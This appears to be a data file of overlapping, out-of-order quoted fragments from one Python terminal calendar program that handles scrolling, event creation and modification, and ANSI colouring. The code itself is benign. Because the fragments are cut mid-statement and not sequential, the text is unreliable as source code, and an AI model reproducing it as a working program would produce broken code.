"print a calendar to the terminal/console output and prompt the user to input",
"Move forward of backward if cmd == self.FORWARD: sgn = 1 else: sgn",
"\"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33 +",
"you like to do? \\n\" command_ms += \"(Q to quit, H for help)",
"yyyy/mm/dd format> - <name> To print all events enter : {ALL} (To continue",
"# if lowest level item is not an empty dict, don't pop this,",
"monthrange import os from typing import TypeVar, Tuple from benedict import benedict from",
"\"\"\" while name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is named {name}",
": {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper() != \"N\" if not overwrite: name",
"dict if there are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events",
"lowest level item is not an empty dict, don't pop this, or parents",
"to be used for indexing name : optional. Tacked on to return if",
"included Returns: year (int), month (int), day (int), name (str) \"\"\" if name",
"does not exist. Back to main menu \") def update_event(self, modified_event: Event, old_date:",
"datetime import date, datetime from calendar import monthrange import os from typing import",
"[NEW, MODIFY, READ] VERB = { NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" }",
"= parse_user_date(usr_args) self.today = calendar_date elif cmd == self.FORWARD or cmd == self.BACKWARD:",
"event: Returns: The event found. Or None if none are found \"\"\" try:",
"\"April\", 5: \"May\", 6: \"June\", 7: \"July\", 8: \"August\", 9: \"September\", 10: \"October\",",
"name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else:",
"!= \"N\" if not overwrite: name = input(f\"Please enter a new name for",
"monthly_events: entry = color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days: entry = \"",
"to the next day enter : {FORWARD}{DAY} TO scroll to the previous day",
"as a nested dictionary with dates as keys, lastly with a names dict.",
"\"red\": f\"{31 + 10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\", \"blue\":",
"of background Returns: beautified message \"\"\" txt_colors = { \"black\": \"30\", \"red\": \"31\",",
"events enter : {ALL} (To continue Press enter) \"\"\" def __init__(self): \"\"\" Constructor",
"prnt = \"{\\n\" for year, months in self.events.items(): prnt += f\"\\t{year} : \"",
"for the event\") name = input(\"Give us a name for the event :",
"\"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\", \"cyan\": \"36\",",
"Should be led by a valid scroll based command \"\"\" cmd = usr_input[0]",
"if usr_args is not None: usr_ind = usr_args[0].upper() else: usr_ind = usr_args if",
"all events enter : {ALL} (To continue Press enter) \"\"\" def __init__(self): \"\"\"",
"= benedict() self.today = date.today() def command_loop(self): \"\"\" Main loop of the calendar.",
"False # if lowest level item is an empty dict, pop this from",
"{BACKWARD}{YEAR} To scroll to a date enter : {SCROLL} <date in yyyy/mm/dd format>",
"to try and input again except MainError: continue def scroll(self, usr_input: str): \"\"\"",
"Adds an event to the calendar Args: calendar_date : date of the new",
"\"\"\" Gets an event from a name and a date Args: calendar_date :",
"DateTypes = TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar class to hold info",
"for day, names in days.items(): prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\" for",
"== self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif cmd in self.SCROLLING: self.scroll(user_input)",
"= date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by month is default self.today =",
"enter : {MODIFY} <date in yyyy/mm/dd format> - <name> To read an event",
"read, and modify events on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime)",
"if usr_args is None: calendar_date = prompt_user_date(\"Lets get a date for the event\")",
"are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return",
"color_entry(entry, txt=\"green\") if days == self.today.day and days not in monthly_events: entry =",
"you wish to specify a time? (y/N)\").upper() != \"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event(",
"of the event : \\n\") if input(\"Do you wish to specify a time?",
"days in month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events",
"used for indexing name : optional. Tacked on to return if included Returns:",
"Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def",
"is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day)",
"command_ms = \"Welcome to the calendar, what would you like to do? \\n\"",
"calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\" BACKWARD",
"name: str): \"\"\" Adds an event to the calendar Args: calendar_date : date",
"possible commands to: * scroll from month to month * make, read, and",
"- <name> To read an event enter : {READ} <date in yyyy/mm/dd format>",
"benedict() self.today = date.today() def command_loop(self): \"\"\" Main loop of the calendar. Prompts",
"list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy in monthly_events] except KeyError: monthly_events =",
"date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else:",
"commands to modify the calendar or scroll around in time \"\"\" command_ms =",
"def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove empty dicts and subdicts Believe",
"name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event,",
"the calendar or scroll around in time \"\"\" command_ms = \"Welcome to the",
"self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name))",
"overwrite = input( f\"Another event is named {name} on that date. Do you",
"\"Sa\", \"Su\"] # calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD",
"return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day) def get_event(self, calendar_date: DateTypes, name: str) -> Event: \"\"\"",
"= usr_args[0].upper() else: usr_ind = usr_args if usr_ind == self.YEAR: self.today = date(self.today.year+sgn,",
"month enter : {BACKWARD}{MONTH} To scroll to the next year enter : {FORWARD}{YEAR}",
"not an empty dict, don't pop this, or parents if not isinstance(nested_dict, dict):",
"\"white\": \"37\", \"normal\": 1 } bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31 +",
"enter : {READ} <date in yyyy/mm/dd format> - <name> To print all events",
"= None return ev def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds all",
"for key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *=",
"occurring on that day, empty dict if there are none \"\"\" try: daily_events",
"hold info on all events in our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\",",
"next month enter : {FORWARD}{MONTH} To scroll to the previous month enter :",
"calendar_date elif cmd == self.FORWARD or cmd == self.BACKWARD: # Move forward of",
"the user. Should be led by a valid event based command \"\"\" cmd",
"enter : {SCROLL} <date in yyyy/mm/dd format> To create an event enter :",
"= input(\"Give us a brief description of the event : \\n\") if input(\"Do",
"+= \"\\n\" days = 0 while days < num_days: for i, day in",
"@staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove empty dicts and subdicts",
"old_name: str): \"\"\" Checks event after it's been modified and rewrites it to",
"bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32 + 10}\",",
"class Calendar: \"\"\" Calendar class to hold info on all events in our",
"if len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args = None if cmd",
">= 2: name = usr_args[1] else: name = input(f\"What is the name of",
"\"\"\" Constructor for the Calendar Stores events as a nested dictionary with dates",
"input by the user. Should be led by a valid scroll based command",
": {FORWARD}{MONTH} To scroll to the previous month enter : {BACKWARD}{MONTH} To scroll",
"parse event commands from the user and edit self.events dict Args: usr_input :",
"except KeyError: monthly_events = [] cal_string = \"\" # Print month and year",
"usr_ind = usr_args[0].upper() else: usr_ind = usr_args if usr_ind == self.YEAR: self.today =",
"def get_event(self, calendar_date: DateTypes, name: str) -> Event: \"\"\" Gets an event from",
"to be beautified txt : string indicating color of text bg : string",
"\"(Q to quit, H for help) : \" ignores = [\" \", \"\\n\"]",
"== self.MODIFY or cmd == self.READ: if name in self.find_events(calendar_date).keys(): if cmd ==",
"indicating color of background Returns: beautified message \"\"\" txt_colors = { \"black\": \"30\",",
"in our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"]",
"\"35\", \"cyan\": \"36\", \"white\": \"37\", \"normal\": 1 } bg_colors = { \"black\": f\"{37+10}\",",
"Find which day of the week the month started on first_day = date(self.today.year,",
"{BACKWARD}{DAY} To scroll to the the next month enter : {FORWARD}{MONTH} To scroll",
"user to input some number of possible commands to: * scroll from month",
"the event : \") else: break description = input(\"Give us a brief description",
"if name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event = self.get_event(calendar_date, name) mod_event.modify()",
"old_name) if new_ev != old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[",
"mod_event = self.get_event(calendar_date, name) mod_event.modify() self.update_event(mod_event, calendar_date, name) input(f\"Modified event : {mod_event}\") else:",
"found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev = None return",
"datetime object where we're looking for events Returns: daily events : dictionary of",
"\"\"\" if name is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day), name else: return",
"(Event) } } } } \"\"\" self.events = benedict() self.today = date.today() def",
"while name in self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is named {name} on",
"the the next month enter : {FORWARD}{MONTH} To scroll to the previous month",
"prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt",
"(int), name (str) \"\"\" if name is not None: return str(calendar_date.year), str(calendar_date.month), str(calendar_date.day),",
"< first_day: entry = \" \" else: days += 1 entry = f\"{days:2}",
"self.FORWARD or cmd == self.BACKWARD: # Move forward of backward if cmd ==",
": date of the new event name : name of that event \"\"\"",
"\"normal\": 1 } bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\":",
"of possible commands to: * scroll from month to month * make, read,",
"= date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str): \"\"\" parse event commands from",
"format> - <name> To print all events enter : {ALL} (To continue Press",
"\"{\\n\" for name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\"",
"{ \"black\": \"30\", \"red\": \"31\", \"green\": \"32\", \"yellow\": \"33\", \"blue\": \"34\", \"purple\": \"35\",",
"} bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32 +",
"typing import List, Dict from datetime import date, datetime from calendar import monthrange",
"except IndexError: continue try: if cmd == self.QUIT: break elif cmd == self.HELP:",
"you described does not exist. Back to main menu \") def update_event(self, modified_event:",
"date, datetime from calendar import monthrange import os from typing import TypeVar, Tuple",
"the dict with updated indeces \"\"\" input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev",
"event\") name = input(\"Give us a name for the event : \") else:",
": {MODIFY} <date in yyyy/mm/dd format> - <name> To read an event enter",
"in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a",
"BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\" READ = \"R\"",
"date, datetime) class Calendar: \"\"\" Calendar class to hold info on all events",
"the parent and clean up recursively if nested_dict == {}: return True #",
"from a name and a date Args: calendar_date : date of the event",
"READ = \"R\" EVENTS = [NEW, MODIFY, READ] VERB = { NEW: \"Made\",",
"True # indicates whether this dict/sub_dict should be \"popped\" (cleaned up) pop_this =",
"is just an indicator that user wants to try and input again except",
"name) input(f\"Modified event : {mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event you described",
"be led by a valid scroll based command \"\"\" cmd = usr_input[0] if",
"\"Fr\", \"Sa\", \"Su\"] # calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\"",
"DateTypes, name: str = None): \"\"\" Args: calendar_date : date to be used",
"new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General",
"on first_day = date(self.today.year, self.today.month, 1).weekday() # Find number of days in month",
"exist. Back to main menu \") def update_event(self, modified_event: Event, old_date: DateTypes, old_name:",
"enter : {NEW} <date in yyyy/mm/dd format> - <name> To modify an event",
"event enter : {MODIFY} <date in yyyy/mm/dd format> - <name> To read an",
"name, description, prompt_user_time(\"What time do you want to set?\") ) def print_calendar(self): \"\"\"",
"valid scroll based command \"\"\" cmd = usr_input[0] if len(usr_input) > 1: usr_args",
"from typing import TypeVar, Tuple from benedict import benedict from Events import Event",
"of itself Args: message : message to be beautified txt : string indicating",
"\"Modified\", READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\"",
"year enter : {FORWARD}{YEAR} To scroll to the previous year enter : {BACKWARD}{YEAR}",
"this, or parents if not isinstance(nested_dict, dict): return False # if lowest level",
"empty dict if there are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError:",
"self.today.month, self.today.day) elif usr_ind == self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: #",
"return ev def find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds all events that",
"enter) \"\"\" def __init__(self): \"\"\" Constructor for the Calendar Stores events as a",
"= 1 else: sgn = -1 if usr_args is not None: usr_ind =",
"== self.FORWARD or cmd == self.BACKWARD: # Move forward of backward if cmd",
"= \"{\\n\" for year, months in self.events.items(): prnt += f\"\\t{year} : \" +",
"parse scroll commands from the user and make the correct call to print_calendar()",
"the month started on first_day = date(self.today.year, self.today.month, 1).weekday() # Find number of",
"prompt_user_time(\"What time do you want to set?\") ) def print_calendar(self): \"\"\" Prints a",
": {READ} <date in yyyy/mm/dd format> - <name> To print all events enter",
"----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\" YEAR = \"Y\" EVENT = \"E\"",
"# Print month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" )",
"+= color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print the days of the",
"enter : {ALL} (To continue Press enter) \"\"\" def __init__(self): \"\"\" Constructor for",
"self.find_events(calendar_date).keys(): overwrite = input( f\"Another event is named {name} on that date. Do",
"10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\",",
"the week the month started on first_day = date(self.today.year, self.today.month, 1).weekday() # Find",
"= [QUIT, HELP, ALL] COMMANDS = SCROLLING + EVENTS + UTIL # indicators",
"the user to input commands to modify the calendar or scroll around in",
"which contains day. \"\"\" def color_entry(message: str, txt: str = \"normal\", bg: str",
"\"Welcome to the calendar, what would you like to do? \\n\" command_ms +=",
"from the user and edit self.events dict Args: usr_input : string input by",
": name of that event \"\"\" while name in self.find_events(calendar_date).keys(): overwrite = input(",
": date or datetime object where we're looking for events Returns: daily events",
"try: cmd = user_input[0].upper() except IndexError: continue try: if cmd == self.QUIT: break",
"you want to set?\") ) def print_calendar(self): \"\"\" Prints a calendar to the",
"days == self.today.day and days not in monthly_events: entry = color_entry(entry, bg=\"red\") if",
"date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by month is default self.today = date(self.today.year,",
"10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30 + 10}\", \"normal\": 1 } return",
"a name and a date Args: calendar_date : date of the event name",
"11: \"November\", 12: \"December\" } MENU_STRING = f\"\"\" Here's how to use the",
"pop this, or parents if not isinstance(nested_dict, dict): return False # if lowest",
"utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\" ALL = \"A\" UTIL =",
"print_calendar() Args: usr_input : string input by the user. Should be led by",
"str = \"normal\") -> str: \"\"\" turns message into a colorful version of",
"DAY = \"D\" MONTH = \"M\" YEAR = \"Y\" EVENT = \"E\" INDICATORS",
"the user and make the correct call to print_calendar() Args: usr_input : string",
"prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a calendar to the terminal/console output and",
"None if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date elif cmd",
"calendar to the terminal/console output and prompt the user to input some number",
"*= pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name: str = None): \"\"\"",
"= \"S\" FORWARD = \"F\" BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD]",
"month (int), day (int), name (str) \"\"\" if name is not None: return",
"make, read, and modify events on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date,",
"0 while days < num_days: for i, day in enumerate(self.WEEKDAYS): if days ==",
"in yyyy/mm/dd format> - <name> To modify an event enter : {MODIFY} <date",
"again except MainError: continue def scroll(self, usr_input: str): \"\"\" parse scroll commands from",
"and modify events on certain days \"\"\" DateTypes = TypeVar(\"DateTypes\", date, datetime) class",
"10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35 + 10}\",",
"the next month enter : {FORWARD}{MONTH} To scroll to the previous month enter",
"} MENU_STRING = f\"\"\" Here's how to use the calendar! To scroll to",
"+ \"{\\n\" for day, names in days.items(): prnt += f\"\\t\\t\\t{day} : \" +",
": dictionary of events occurring on that day, empty dict if there are",
"the week for day in self.WEEKDAYS: cal_string += f\"{day} \" cal_string += \"\\n\"",
"entry = \" \" else: days += 1 entry = f\"{days:2} \" if",
"MainError: continue def scroll(self, usr_input: str): \"\"\" parse scroll commands from the user",
"not in monthly_events: entry = color_entry(entry, bg=\"red\") if days == self.today.day and days",
"self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by month is default self.today",
"and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print the",
"COMMANDS = SCROLLING + EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\"",
"the new event name : name of that event \"\"\" while name in",
"yyyy/mm/dd format> - <name> To modify an event enter : {MODIFY} <date in",
"str: \"\"\" turns message into a colorful version of itself Args: message :",
"YEAR, EVENT] MONTHS = { 1: \"January\", 2: \"February\", 3: \"March\", 4: \"April\",",
"to overwrite it? (Y/n) : \" f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite",
"wish to overwrite it? (Y/n) : \" f\"Other event : {self.get_event(calendar_date, name)}\\n\" )",
"user to input commands to modify the calendar or scroll around in time",
"to main menu \") def update_event(self, modified_event: Event, old_date: DateTypes, old_name: str): \"\"\"",
"= TypeVar(\"DateTypes\", date, datetime) class Calendar: \"\"\" Calendar class to hold info on",
"cmd = usr_input[0] if len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args =",
"\"\"\" def __init__(self): \"\"\" Constructor for the Calendar Stores events as a nested",
"To scroll to the previous month enter : {BACKWARD}{MONTH} To scroll to the",
"event enter : {READ} <date in yyyy/mm/dd format> - <name> To print all",
"cal_string += color_entry( f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print the days of",
"DateTypes, name: str) -> Event: \"\"\" Gets an event from a name and",
"get a date for the event\") name = input(\"Give us a name for",
"{ \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\", \"green\": f\"{32 + 10}\", \"yellow\": f\"{33",
"find_events(self, calendar_date: DateTypes) -> Dict: \"\"\" finds all events that occur on calendar_date",
"MODIFY: \"Modified\", READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP =",
"prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict):",
"# calendar commands ============================================================================ # scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\"",
"+ 10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 + 10}\", \"purple\": f\"{35 +",
"what would you like to do? \\n\" command_ms += \"(Q to quit, H",
"overwrite it? (Y/n) : \" f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite =",
"the event : \\n\") if input(\"Do you wish to specify a time? (y/N)\").upper()",
"an indicator that user wants to try and input again except MainError: continue",
"prnt += f\"\\t\\t{month} : \" + \"{\\n\" for day, names in days.items(): prnt",
"MENU_STRING = f\"\"\" Here's how to use the calendar! To scroll to the",
"if pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes, name:",
"To scroll to the the next month enter : {FORWARD}{MONTH} To scroll to",
"brief description of the event : \\n\") if input(\"Do you wish to specify",
"\"January\", 2: \"February\", 3: \"March\", 4: \"April\", 5: \"May\", 6: \"June\", 7: \"July\",",
"\" + \"{\\n\" for month, days in months.items(): prnt += f\"\\t\\t{month} : \"",
"= date.today() def command_loop(self): \"\"\" Main loop of the calendar. Prompts the user",
"with dates as keys, lastly with a names dict. Structure: self.events = {",
"a date for the event\") name = input(\"Give us a name for the",
"forward of backward if cmd == self.FORWARD: sgn = 1 else: sgn =",
"a colorful version of itself Args: message : message to be beautified txt",
"indicates whether this dict/sub_dict should be \"popped\" (cleaned up) pop_this = True for",
"valid command, please input a valid command\\ {self.MENU_STRING}\") # MainError is just an",
"return True # indicates whether this dict/sub_dict should be \"popped\" (cleaned up) pop_this",
"created {self.get_event(calendar_date, name)}\") if cmd == self.MODIFY or cmd == self.READ: if name",
"(cleaned up) pop_this = True for key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict)",
"UTIL = [QUIT, HELP, ALL] COMMANDS = SCROLLING + EVENTS + UTIL #",
"10}\", \"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30 + 10}\",",
"= overwrite.upper() != \"N\" if not overwrite: name = input(f\"Please enter a new",
"the terminal or command for the month which contains day. \"\"\" def color_entry(message:",
"[] cal_string = \"\" # Print month and year cal_string += color_entry( f\"{self.MONTHS[self.today.month]}",
"none are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError: ev =",
"\"\"\" finds all events that occur on calendar_date and returns them Args: calendar_date",
"self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a valid command,",
"<name> To print all events enter : {ALL} (To continue Press enter) \"\"\"",
"be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event created {self.get_event(calendar_date, name)}\")",
"MainError is just an indicator that user wants to try and input again",
"+= \"\\t},\\n\" prnt += \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict",
"and edit self.events dict Args: usr_input : string input by the user. Should",
"cleans nested_dict to remove empty dicts and subdicts Believe it or not this",
"the name of the event to be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date,",
"NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT = \"Q\"",
"input by the user. Should be led by a valid event based command",
"[DAY, MONTH, YEAR, EVENT] MONTHS = { 1: \"January\", 2: \"February\", 3: \"March\",",
"} # utility -------------------------------------------------------------------------------------- QUIT = \"Q\" HELP = \"H\" ALL = \"A\"",
"datetime from calendar import monthrange import os from typing import TypeVar, Tuple from",
"class to hold info on all events in our calendar \"\"\" WEEKDAYS =",
"typing import TypeVar, Tuple from benedict import benedict from Events import Event from",
"monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy in monthly_events] except KeyError:",
"{self.today.year}\\n\", txt=\"cyan\" ) # Print the days of the week for day in",
"calendar_date = parse_user_date(usr_args) self.today = calendar_date elif cmd == self.FORWARD or cmd ==",
"self.events = { year(str) : { month(str) : { day(str) : { name(str)",
"self.FORWARD: sgn = 1 else: sgn = -1 if usr_args is not None:",
"year(str) : { month(str) : { day(str) : { name(str) : (Event) }",
"scroll around in time \"\"\" command_ms = \"Welcome to the calendar, what would",
"none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return daily_events",
"elif cmd in self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is",
"= \"R\" EVENTS = [NEW, MODIFY, READ] VERB = { NEW: \"Made\", MODIFY:",
"INDICATORS = [DAY, MONTH, YEAR, EVENT] MONTHS = { 1: \"January\", 2: \"February\",",
"level item is not an empty dict, don't pop this, or parents if",
"= self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return daily_events def add_event(self, calendar_date: DateTypes,",
"yyyy/mm/dd format> To create an event enter : {NEW} <date in yyyy/mm/dd format>",
"Args: usr_input : string input by the user. Should be led by a",
"ALL] COMMANDS = SCROLLING + EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY =",
"overwrite.upper() != \"N\" if not overwrite: name = input(f\"Please enter a new name",
"try: monthly_events = list(self.events[str(self.today.year), str(self.today.month)].keys()) monthly_events = [int(dy) for dy in monthly_events] except",
"isinstance(nested_dict, dict): return False # if lowest level item is an empty dict,",
"daily events : dictionary of events occurring on that day, empty dict if",
"= repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\") prnt += f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt",
"like to do? \\n\" command_ms += \"(Q to quit, H for help) :",
"+ 10}\", \"white\": f\"{30 + 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') #",
"calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\", \"Th\", \"Fr\", \"Sa\", \"Su\"] # calendar",
"that day, empty dict if there are none \"\"\" try: daily_events = self.events[self.ind_from_date(calendar_date)]",
"previous day enter : {BACKWARD}{DAY} To scroll to the the next month enter",
"want to set?\") ) def print_calendar(self): \"\"\" Prints a calendar to the terminal",
"# MainError is just an indicator that user wants to try and input",
"\"purple\": f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30 + 10}\", \"normal\":",
"UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\" YEAR = \"Y\"",
"input(\"Hello There\") new_ev = self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev !=",
"input(\"Give us a name for the event : \") else: usr_args = usr_args.split(\"-\")[:2]",
"# indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\" YEAR = \"Y\" EVENT",
"Calendar: \"\"\" Calendar class to hold info on all events in our calendar",
"self.events.items(): prnt += f\"\\t{year} : \" + \"{\\n\" for month, days in months.items():",
"{READ} <date in yyyy/mm/dd format> - <name> To print all events enter :",
"info on all events in our calendar \"\"\" WEEKDAYS = [\"Mo\", \"Tu\", \"We\",",
"month to month * make, read, and modify events on certain days \"\"\"",
"if not overwrite: name = input(f\"Please enter a new name for the event",
"FORWARD, BACKWARD] # Event ---------------------------------------------------------------------------------------- NEW = \"N\" MODIFY = \"C\" READ =",
"to do? \\n\" command_ms += \"(Q to quit, H for help) : \"",
"make the correct call to print_calendar() Args: usr_input : string input by the",
"it? (Y/n) : \" f\"Other event : {self.get_event(calendar_date, name)}\\n\" ) overwrite = overwrite.upper()",
"input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove empty dicts and",
"\"Y\": self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] =",
"notebook. \"\"\" # if lowest level item is not an empty dict, don't",
"(To continue Press enter) \"\"\" def __init__(self): \"\"\" Constructor for the Calendar Stores",
"for day in self.WEEKDAYS: cal_string += f\"{day} \" cal_string += \"\\n\" days =",
"month, days in months.items(): prnt += f\"\\t\\t{month} : \" + \"{\\n\" for day,",
"scroll --------------------------------------------------------------------------------------- SCROLL = \"S\" FORWARD = \"F\" BACKWARD = \"B\" SCROLLING =",
"name of the event to be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name)",
"str): \"\"\" Adds an event to the calendar Args: calendar_date : date of",
"dy in monthly_events] except KeyError: monthly_events = [] cal_string = \"\" # Print",
"import benedict from Events import Event from CalendarErrors import BreakoutError, MainError from Prompt",
"datetime) class Calendar: \"\"\" Calendar class to hold info on all events in",
"{mod_event}\") else: input(self.get_event(calendar_date, name)) else: input(\"The event you described does not exist. Back",
"{NEW} <date in yyyy/mm/dd format> - <name> To modify an event enter :",
"\"green\": f\"{32 + 10}\", \"yellow\": f\"{33 + 10}\", \"blue\": f\"{34 + 10}\", \"purple\":",
"Find number of days in month num_days = monthrange(self.today.year, self.today.month)[1] try: monthly_events =",
